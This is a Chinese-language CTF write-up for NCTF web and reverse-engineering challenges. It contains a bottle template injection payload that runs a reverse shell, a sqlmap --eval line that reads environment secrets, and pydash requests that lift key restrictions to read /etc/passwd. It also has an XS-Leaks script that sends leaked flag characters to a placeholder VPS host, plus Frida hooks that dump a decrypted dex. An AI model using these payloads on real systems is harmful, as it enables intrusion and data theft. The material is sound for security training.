Web

sqlmap-master

sqlmap | GTFOBins

http://127.0.0.1:8000  --eval=print(__import__("os").environ.get("FLAG"))

image-20250322144347205

ez_dash

用不到set_,直接非预期

bottle用%<% %>可以执行python代码,过滤了.用chr(46)拼接绕过,最后套个eval,无回显RCE弹个shell即可

eval("__import__('os')"+chr(46)+"system(__import__('base64')"+chr(46)+"b64decode('BASE64_PAYLOAD')"+chr(46)+"decode())")

image-20250322160620210

ez_dash_rev

全ban了,看一下bottle template的源码,参数传入为tpl,可以解析为名称、文件名或模板字符串

“”"
将渲染的模板作为字符串迭代器获取。
您可以使用名称、文件名或模板字符串作为第一个参数。
模板渲染参数可以作为字典传递
或直接 (作为关键字参数)。

“”"

def template(*args, **kwargs):
    """
    Get a rendered template as a string iterator.
    You can use a name, a filename or a template string as first parameter.
    Template rendering arguments can be passed as dictionaries
    or directly (as keyword arguments).
    """
    tpl = args[0] if args else None
    for dictarg in args[1:]:
        kwargs.update(dictarg)
    adapter = kwargs.pop('template_adapter', SimpleTemplate)
    lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)
    tplid = (id(lookup), tpl)
    if tplid not in TEMPLATES or DEBUG:
        settings = kwargs.pop('template_settings', {})
        if isinstance(tpl, adapter):
            TEMPLATES[tplid] = tpl
            if settings: TEMPLATES[tplid].prepare(**settings)
        elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
            TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)
        else:
            TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
    if not TEMPLATES[tplid]:
        abort(500, 'Template (%s) not found' % tpl)
    return TEMPLATES[tplid].render(kwargs)

elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:分支检测字符是否存在,不过这几个字符几乎都被ban了,继续到下一个else分支

TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)

adapter为模板适配器,SimpleTemplate为默认模板,BaseTemplate为SimpleTemplate的基类,追溯到BaseTemplate类

“”“创建新模板。
如果缺少 source 参数(str 或 buffer),则 name 参数用于猜测模板文件名。
子类可以假定self.source 和/或 self.filename 设置。两者都是字符串。
lookup、encoding 和 settings 参数存储为 instance 变量。
lookup 参数存储包含目录路径的列表。
encoding 参数应用于解码字节字符串或文件。
settings 参数包含用于特定于引擎的设置的列表。
“””

class BaseTemplate(object):
    """ Base class and minimal API for template adapters """
    extensions = ['tpl', 'html', 'thtml', 'stpl']
    settings = {}  #used in prepare()
    defaults = {}  #used in render()

    def __init__(self,
                 source=None,
                 name=None,
                 lookup=None,
                 encoding='utf8', **settings):
        """ Create a new template.
        If the source parameter (str or buffer) is missing, the name argument
        is used to guess a template filename. Subclasses can assume that
        self.source and/or self.filename are set. Both are strings.
        The lookup, encoding and settings parameters are stored as instance
        variables.
        The lookup parameter stores a list containing directory paths.
        The encoding parameter should be used to decode byte strings or files.
        The settings parameter contains a dict for engine-specific settings.
        """
        self.name = name
        self.source = source.read() if hasattr(source, 'read') else source
        self.filename = source.filename if hasattr(source, 'filename') else None
        self.lookup = [os.path.abspath(x) for x in lookup] if lookup else []
        self.encoding = encoding
        self.settings = self.settings.copy()  # Copy from class variable
        self.settings.update(settings)  # Apply
        if not self.source and self.name:
            self.filename = self.search(self.name, self.lookup)
            if not self.filename:
                raise TemplateError('Template %s not found.' % repr(name))
        if not self.source and not self.filename:
            raise TemplateError('No template specified.')
        self.prepare(**self.settings)

    @classmethod
    def search(cls, name, lookup=None):
        """ Search name in all directories specified in lookup.
        First without, then with common extensions. Return first hit. """
        if not lookup:
            raise depr(0, 12, "Empty template lookup path.", "Configure a template lookup path.")

        if os.path.isabs(name):
            raise depr(0, 12, "Use of absolute path for template name.",
                       "Refer to templates with names or paths relative to the lookup path.")

        for spath in lookup:
            spath = os.path.abspath(spath) + os.sep
            fname = os.path.abspath(os.path.join(spath, name))
            if not fname.startswith(spath): continue
            if os.path.isfile(fname): return fname
            for ext in cls.extensions:
                if os.path.isfile('%s.%s' % (fname, ext)):
                    return '%s.%s' % (fname, ext)

    @classmethod
    def global_config(cls, key, *args):
        """ This reads or sets the global settings stored in class.settings. """
        if args:
            cls.settings = cls.settings.copy()  # Make settings local to class
            cls.settings[key] = args[0]
        else:
            return cls.settings[key]

    def prepare(self, **options):
        """ Run preparations (parsing, caching, ...).
        It should be possible to call this again to refresh a template or to
        update settings.
        """
        raise NotImplementedError

    def render(self, *args, **kwargs):
        """ Render the template with the specified local variables and return
        a single byte or unicode string. If it is a byte string, the encoding
        must match self.encoding. This method must be thread-safe!
        Local variables may be provided in dictionaries (args)
        or directly, as keywords (kwargs).
        """
        raise NotImplementedError

可以看到__init__提供source、name、lookup、encoding等参数,其中source和name仅设置name就会lookup列表的路径中获取名为name值的文件

再回到template函数,lookup默认为TEMPLATE_PATH

lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)

而TEMPLATE_PATH默认包含././views/两个PATH,template会从这两个路径去获取tpl文件并渲染

TEMPLATE_PATH = ['./', './views/']

这样,我们可以修改bottle中TEMPLATE_PATH,改为我们想要获取文件的PATH,可以改为/,但实际上/render路由限制了path参数的字数为10

/setValue路由name限制六个字节,只能利用全局中的setval函数去找__globals__

POST /setValue?name=setval HTTP/1.1
Content-Type: application/json

{
"path": "__globals__.bottle.TEMPLATE_PATH",
"value": ["/etc"]
}

不过在实验中,发现__globals__报错

KeyError: "access to restricted key '__globals__' is not allowed"

image-20250331034932761

发现是pydash.helpers中限制path路径中包含__globals__

#: Object keys that are restricted from access via path access.
RESTRICTED_KEYS = ("__globals__", "__builtins__")

利用set_修改pydash.helpers.RESTRICTED_KEYS为空

POST /setValue?name=pydash HTTP/1.1
Content-Type: application/json

{
"path":"helpers.RESTRICTED_KEYS",
"value":[]
}

然后再修改TEMPLATE_PATH,返回yes,此时模板文件PATH路径改为/etc,将会在/etc中获取文件,类似环境变量中PATH

POST /setValue?name=setval HTTP/1.1
Content-Type: application/json

{
"path": "__globals__.bottle.TEMPLATE_PATH",
"value": ["/etc"]
}

最后/render?path=passwd渲染文件实现任意读

image-20250331125442266

internal_api

main.rs中控制四个路由,//report/search/search/internal/search

db.rs中flag在初始化init时放入数据库中,并设hidden为true

    conn.execute(
        "INSERT INTO comments(content, hidden) VALUES(?, ?)",
        params![flag, true],
    )?;

还提供一个search模糊查询功能,接受query和hidden两个参数

pub fn search(conn: DbConn, query: String, hidden: bool) -> anyhow::Result<Vec<String>> {
    let mut stmt =
        conn.prepare("SELECT content FROM comments WHERE content LIKE ? AND hidden = ?")?;
    let comments = stmt
        .query_map(params![format!("%{}%", query), hidden], |row| {
            Ok(row.get(0)?)
        })?
        .collect::<rusqlite::Result<Vec<String>>>()?;

    Ok(comments)
}

route.rs提供public_search和private_search

  • public_search通过/search路由GET请求接受,接收s参数,允许任意ip访问,hidden设为flase,无法查询到flag

  • private_search通过/internal/search路由GET请求,接收s参数,仅允许本地访问,hidden设为true,可以查询到flag

  • report通过/report路由POST请求,接收url参数,bot会访问该url链接

显然这题是xss题目,需要在外链上构造一个xss供bot访问,触发xss,让bot访问/internal/search查询flag并返回到vps上,但似乎由于SOP一些策略不能访问到/internal/search

这就要用上XS-Leaks,类似于bool盲注,查询成功时是200,失败时是500

XSleaks - SCU-CTF HomePage改改直接用

<script>
    const VPS_IP = 'http://<vps>'
    const chars = "0123456789abcdefghijklmnopqrstuvwxyz-{}";

    const oracle = async (url) => {
        return new Promise((resolve, reject) => {
            const object = document.createElement("script");
            object.src = url;
            object.onload = resolve;
            object.onerror = reject;
            document.head.appendChild(object);
        });
    }
    const search = async (url) => {
        try {
            await oracle(url)
            return true;
        } catch (e) {
            return false;
        }
    }

    (async () => {
        let flag = 'f';
        let url = `http://127.0.0.1:8000/internal/search?s=${flag}`
        while (flag.charAt(flag.length - 1) !== "}") {
            for ( let i of chars ) {
            if ( await(search(url + escape(i))) ) {
                url = url + escape(i)
                flag += i
                await fetch(`${VPS_IP}/?flag=${flag}`, {mode: 'no-cors'})
                break;
        }   else {
            console.log('failed');
            }
         }
        }
    })();
</script>

Re

SafeProgram

发现sm4特征D690E9FE

image-20250322193912793

动调拿到key:NCTF24nctfNCTF24

image-20250322194050875

解密无果发现sbox被改了

image-20250322193826865

#include <string.h>
#include <stdio.h>
#include <time.h>
/*--------------------------------------------------------------------------------------------------------------*/
#define SM4_ENCRYPT     1
#define SM4_DECRYPT     0
/*--------------------------------------------------------------------------------------------------------------*/
/**
* \brief          SM4 context structure
*/
typedef struct
{
	int mode;                   /*!<  encrypt/decrypt   */
	unsigned long sk[32];       /*!<  SM4 subkeys       */
}
sm4_context;
/*--------------------------------------------------------------------------------------------------------------*/
/**
* \brief          SM4 key schedule (128-bit, encryption)
*
* \param ctx      SM4 context to be initialized
* \param key      16-byte secret key
*/
void sm4_setkey_enc(sm4_context* ctx, unsigned char key[16]);
/*--------------------------------------------------------------------------------------------------------------*/
/**
* \brief          SM4 key schedule (128-bit, decryption)
*
* \param ctx      SM4 context to be initialized
* \param key      16-byte secret key
*/
void sm4_setkey_dec(sm4_context* ctx, unsigned char key[16]);
/*--------------------------------------------------------------------------------------------------------------*/
/**
* \brief          SM4-ECB block encryption/decryption
* \param ctx      SM4 context
* \param mode     SM4_ENCRYPT or SM4_DECRYPT
* \param length   length of the input data
* \param input    input block
* \param output   output block
*/
void sm4_crypt_ecb(sm4_context* ctx,
	int mode,
	int length,
	unsigned char* input,
	unsigned char* output);
/*--------------------------------------------------------------------------------------------------------------*/
/**
* \brief          SM4-CBC buffer encryption/decryption
* \param ctx      SM4 context
* \param mode     SM4_ENCRYPT or SM4_DECRYPT
* \param length   length of the input data
* \param iv       initialization vector (updated after use)
* \param input    buffer holding the input data
* \param output   buffer holding the output data
*/
void sm4_crypt_cbc(sm4_context* ctx,
	int mode,
	int length,
	unsigned char iv[16],
	unsigned char* input,
	unsigned char* output);
/*--------------------------------------------------------------------------------------------------------------*/
/*
* 32-bit integer manipulation macros (big endian)
*/
#ifndef GET_ULONG_BE
#define GET_ULONG_BE(n,b,i)                             \
{                                                       \
    (n) = ( (unsigned long) (b)[(i)    ] << 24 )        \
        | ( (unsigned long) (b)[(i) + 1] << 16 )        \
        | ( (unsigned long) (b)[(i) + 2] <<  8 )        \
        | ( (unsigned long) (b)[(i) + 3]       );       \
}
#endif
/*--------------------------------------------------------------------------------------------------------------*/
#ifndef PUT_ULONG_BE
#define PUT_ULONG_BE(n,b,i)                             \
{                                                       \
    (b)[(i)    ] = (unsigned char) ( (n) >> 24 );       \
    (b)[(i) + 1] = (unsigned char) ( (n) >> 16 );       \
    (b)[(i) + 2] = (unsigned char) ( (n) >>  8 );       \
    (b)[(i) + 3] = (unsigned char) ( (n)       );       \
}
#endif
/*--------------------------------------------------------------------------------------------------------------*/
/*
*rotate shift left marco definition
*
*/
#define  SHL(x,n) (((x) & 0xFFFFFFFF) << n)
#define ROTL(x,n) (SHL((x),n) | ((x) >> (32 - n)))
#define SWAP(a,b) { unsigned long t = a; a = b; b = t; t = 0; }
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Expanded SM4 S-boxes
/* Sbox table: 8bits input convert to 8 bits output*/
char SboxTable[16][16] =
{
	{ 0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05 },
	{ 0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99 },
	{ 0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62 },
	{ 0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6 },
	{ 0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8 },
	{ 0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35 },
	{ 0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87 },
	{ 0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e },
	{ 0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1 },
	{ 0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3 },
	{ 0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f },
	{ 0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51 },
	{ 0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8 },
	{ 0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0 },
	{ 0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84 },
	{ 0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48 }
};
/*--------------------------------------------------------------------------------------------------------------*/
/* System parameter */
static const unsigned long FK[4] =
{ 0xa3b1bac6,0x56aa3350,0x677d9197,0xb27022dc };
/*--------------------------------------------------------------------------------------------------------------*/
/* fixed parameter */
static const unsigned long CK[32] =
{
	0x00070e15,0x1c232a31,0x383f464d,0x545b6269,
	0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9,
	0xe0e7eef5,0xfc030a11,0x181f262d,0x343b4249,
	0x50575e65,0x6c737a81,0x888f969d,0xa4abb2b9,
	0xc0c7ced5,0xdce3eaf1,0xf8ff060d,0x141b2229,
	0x30373e45,0x4c535a61,0x686f767d,0x848b9299,
	0xa0a7aeb5,0xbcc3cad1,0xd8dfe6ed,0xf4fb0209,
	0x10171e25,0x2c333a41,0x484f565d,0x646b7279
};
/*--------------------------------------------------------------------------------------------------------------*/
/*
* private function:
* look up in SboxTable and get the related value.
* args:    [in] inch: 0x00~0xFF (8 bits unsigned value).
*/
static unsigned char sm4Sbox(unsigned char inch)
{
	unsigned char* pTable = (unsigned char*)SboxTable;
	unsigned char retVal = (unsigned char)(pTable[inch]);
	return retVal;
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* private F(Lt) function:
* "T algorithm" == "L algorithm" + "t algorithm".
* args:    [in] a: a is a 32 bits unsigned value;
* return: c: c is calculated with line algorithm "L" and nonline algorithm "t"
*/
static unsigned long sm4Lt(unsigned long ka)
{
	unsigned long bb = 0;
	unsigned long c = 0;
	unsigned char a[4];
	unsigned char b[4];
	PUT_ULONG_BE(ka, a, 0)
		b[0] = sm4Sbox(a[0]);
	b[1] = sm4Sbox(a[1]);
	b[2] = sm4Sbox(a[2]);
	b[3] = sm4Sbox(a[3]);
	GET_ULONG_BE(bb, b, 0)
		c = bb ^ (ROTL(bb, 2)) ^ (ROTL(bb, 10)) ^ (ROTL(bb, 18)) ^ (ROTL(bb, 24));
	return c;
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* private F function:
* Calculating and getting encryption/decryption contents.
* args:    [in] x0: original contents;
* args:    [in] x1: original contents;
* args:    [in] x2: original contents;
* args:    [in] x3: original contents;
* args:    [in] rk: encryption/decryption key;
* return the contents of encryption/decryption contents.
*/
static unsigned long sm4F(unsigned long x0, unsigned long x1, unsigned long x2, unsigned long x3, unsigned long rk)
{
	return (x0 ^ sm4Lt(x1 ^ x2 ^ x3 ^ rk));
}
/*--------------------------------------------------------------------------------------------------------------*/
/* private function:
* Calculating round encryption key.
* args:    [in] a: a is a 32 bits unsigned value;
* return: sk[i]: i{0,1,2,3,...31}.
*/
static unsigned long sm4CalciRK(unsigned long ka)
{
	unsigned long bb = 0;
	unsigned long rk = 0;
	unsigned char a[4];
	unsigned char b[4];
	PUT_ULONG_BE(ka, a, 0)
		b[0] = sm4Sbox(a[0]);
	b[1] = sm4Sbox(a[1]);
	b[2] = sm4Sbox(a[2]);
	b[3] = sm4Sbox(a[3]);
	GET_ULONG_BE(bb, b, 0)
		rk = bb ^ (ROTL(bb, 13)) ^ (ROTL(bb, 23));
	return rk;
}
/*--------------------------------------------------------------------------------------------------------------*/
static void sm4_setkey(unsigned long SK[32], unsigned char key[16])
{
	unsigned long MK[4];
	unsigned long k[36];
	unsigned long i = 0;

	GET_ULONG_BE(MK[0], key, 0);
	GET_ULONG_BE(MK[1], key, 4);
	GET_ULONG_BE(MK[2], key, 8);
	GET_ULONG_BE(MK[3], key, 12);
	k[0] = MK[0] ^ FK[0];
	k[1] = MK[1] ^ FK[1];
	k[2] = MK[2] ^ FK[2];
	k[3] = MK[3] ^ FK[3];
	for (; i < 32; i++)
	{
		k[i + 4] = k[i] ^ (sm4CalciRK(k[i + 1] ^ k[i + 2] ^ k[i + 3] ^ CK[i]));
		SK[i] = k[i + 4];
	}

}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* SM4 standard one round processing
*
*/
static void sm4_one_round(unsigned long sk[32],
	unsigned char input[16],
	unsigned char output[16])
{
	unsigned long i = 0;
	unsigned long ulbuf[36];

	memset(ulbuf, 0, sizeof(ulbuf));
	GET_ULONG_BE(ulbuf[0], input, 0)
		GET_ULONG_BE(ulbuf[1], input, 4)
		GET_ULONG_BE(ulbuf[2], input, 8)
		GET_ULONG_BE(ulbuf[3], input, 12)
		while (i < 32)
		{
			ulbuf[i + 4] = sm4F(ulbuf[i], ulbuf[i + 1], ulbuf[i + 2], ulbuf[i + 3], sk[i]);
			i++;
		}
	PUT_ULONG_BE(ulbuf[35], output, 0);
	PUT_ULONG_BE(ulbuf[34], output, 4);
	PUT_ULONG_BE(ulbuf[33], output, 8);
	PUT_ULONG_BE(ulbuf[32], output, 12);
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* SM4 key schedule (128-bit, encryption)
*/
void sm4_setkey_enc(sm4_context* ctx, unsigned char key[16])
{
	ctx->mode = SM4_ENCRYPT;
	sm4_setkey(ctx->sk, key);
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* SM4 key schedule (128-bit, decryption)
*/
void sm4_setkey_dec(sm4_context* ctx, unsigned char key[16])
{
	int i;
	ctx->mode = SM4_ENCRYPT;
	sm4_setkey(ctx->sk, key);
	for (i = 0; i < 16; i++)
	{
		SWAP(ctx->sk[i], ctx->sk[31 - i]);
	}
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* SM4-ECB block encryption/decryption
*/
void sm4_crypt_ecb(sm4_context* ctx,
	int mode,
	int length,
	unsigned char* input,
	unsigned char* output)
{
	while (length > 0)
	{
		sm4_one_round(ctx->sk, input, output);
		input += 16;
		output += 16;
		length -= 16;
	}
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* SM4-CBC buffer encryption/decryption
*/
void sm4_crypt_cbc(sm4_context* ctx,
	int mode,
	int length,
	unsigned char iv[16],
	unsigned char* input,
	unsigned char* output)
{
	int i;
	unsigned char temp[16];

	if (mode == SM4_ENCRYPT)
	{
		while (length > 0)
		{
			for (i = 0; i < 16; i++)
				output[i] = (unsigned char)(input[i] ^ iv[i]);

			sm4_one_round(ctx->sk, output, output);
			memcpy(iv, output, 16);

			input += 16;
			output += 16;
			length -= 16;
		}
	}
	else /* SM4_DECRYPT */
	{
		while (length > 0)
		{
			memcpy(temp, input, 16);
			sm4_one_round(ctx->sk, input, output);

			for (i = 0; i < 16; i++)
				output[i] = (unsigned char)(output[i] ^ iv[i]);

			memcpy(iv, temp, 16);

			input += 16;
			output += 16;
			length -= 16;
		}
	}
}

char* __fastcall swap(char* a1, char* a2)
{
	char* result; // rax
	char v3; // [rsp+0h] [rbp-18h]

	v3 = *a1;
	*a1 = *a2;
	result = a2;
	*a2 = v3;
	return result;
}

unsigned __int8 byte_7FF78E62A0C0[16] =
{
  0xDF, 0xD2, 0xC5, 0xD7, 0xA3, 0xA5, 0xFF, 0xF2, 0xE5, 0xF7,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
__int64 fku()
{
	__int64 result; // rax
	int i; // [rsp+20h] [rbp-18h]
	int j; // [rsp+24h] [rbp-14h]

	for (i = 0; i < 10; ++i)
	{
		byte_7FF78E62A0C0[i] ^= 0x91u;
	}
	for (j = 0; j < 10; ++j)
	{
		swap(SboxTable[0], &SboxTable[byte_7FF78E62A0C0[j]/16][byte_7FF78E62A0C0[j] % 16]);
	}
	return 0;
}
/*--------------------------------------------------------------------------------------------------------------*/
int main()
{
	fku();
	unsigned char key[] = "NCTF24nctfNCTF24";
	unsigned char input[32] = { 0xFB, 0x97, 0x3C, 0x3B, 0xF1, 0x99, 0x12, 0xDF, 0x13, 0x30,
  0xF7, 0xD8, 0x7F, 0xEB, 0xA0, 0x6C, 0x14, 0x5B, 0xA6, 0x2A,
  0xA8, 0x05, 0xA5, 0xF3, 0x76, 0xBE, 0xC9, 0x01, 0xF9, 0x36,
  0x7B, 0x46 };
	unsigned char output[32];
	sm4_context ctx;
	unsigned long i;
	sm4_setkey_dec(&ctx, key);
	sm4_crypt_ecb(&ctx, 0, 16, input, output);
	sm4_crypt_ecb(&ctx, 0, 16, &input[16], &output[16]);

	for (i = 0; i < 32; i++)
		printf("%c", output[i]);
	printf("\n");
	return 0;
}

ezDOS

0x26长度验证

image-20250323000800985

应该是key

image-20250323010529786

enc比较位置,168是输入加密结果,141为enc密文

image-20250323011033772

丢ai说是rc4,尝试也没解出来

DOSBox直接模拟执行,盲猜是异或,debug一下拿结果

输入0x26个1

image-20250323002444244

输入0x26个2

image-20250323005932652

二者解密结果尝试作运算找规律

a="26 03 4C 68 4b c2 3c 82 4a 55 BD DA 19 F5 95 61 01 91 DC 16 5B D2 47"
b="26 00 4F 6B 48 C1 3F 81 49 56 BE D9 1A F6 96 62 02 92 DF 15 58 D1 44"
a=a.split()
b=b.split()
for i in range(len(a)):
    print(int(a[i],16)^int(b[i],16),end=",")
# 0,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,

确定是xor,逆出固定的异或值

image-20250323005920943

取出密文,一把嗦哈,爽~

image-20250323011716679

NCTF{Y0u_4r3_Assemb1y_M4st3r_5d0b497e}

x1Login

逆一下libnative.so,发现如下字符串,经典换表

image-20250323015450652

随便找个字符串解一下,再猜一下异或,DecStr.get方法就出来了

不固定,爆破猜就行

image-20250323015245425

或者直接hook

Java.perform(function () {
    // 获取 DecStr 类并 Hook get 方法
    var DecStr = Java.use("com.nctf.simplelogin.DecStr");
    
    // 精确匹配参数为 String 的 get 方法
    DecStr.get.overload('java.lang.String').implementation = function (input) {
        // 调用原始方法获取解密后的字符串
        var result = this.get(input);
        
        // 打印输入和输出
        console.log("[*] DecStr.get(\"" + input + "\") => \"" + result + "\"");
        
        // 返回原始结果,避免影响程序逻辑
        return result;
    };
});

image-20250323051056787

hook出dex

Java.perform(function () {
    var Secure = Java.use('com.nctf.simplelogin.Secure');
    
    Secure.loadDex.overload('android.content.Context', 'java.lang.String').implementation = function (context, name) {
        // 调用原方法获取Java的byte[]
        var javaByteArray = this.loadDex(context, name);
        
        // 将Java byte[]转换为JavaScript的Uint8Array
        var buffer = Java.array('byte', javaByteArray);
        var uint8Array = new Uint8Array(buffer);
        
        // 保存到文件
        var path = "/data/local/tmp/decrypted.dex";  // 使用可访问的路径
        var file = new File(path, "wb");
        file.write(uint8Array);
        file.close();
        
        console.log("[+] DEX文件已保存至: " + path);
        return javaByteArray;  // 返回原始Java对象以保证程序逻辑
    };
});

image-20250323045656824

dex中对用户名进行验证X1c@dM1n1$t,以及调用Secure.doCheck对密码进行验证

image-20250323045958252

剩下就是逆向.so,本想将so文件加密-解密-加密过程patch为解密-加密-解密,再重新打包签名,但不知道为什么会反复调用然后程序崩溃

image-20250331021901354

image-20250331021933329

硬解注意arm小端序

enc

image-20250324222009067

adb logcat -s native

des

image-20250323195812945

image-20250324221941111

后了解到这叫3DES

image-20250324225307548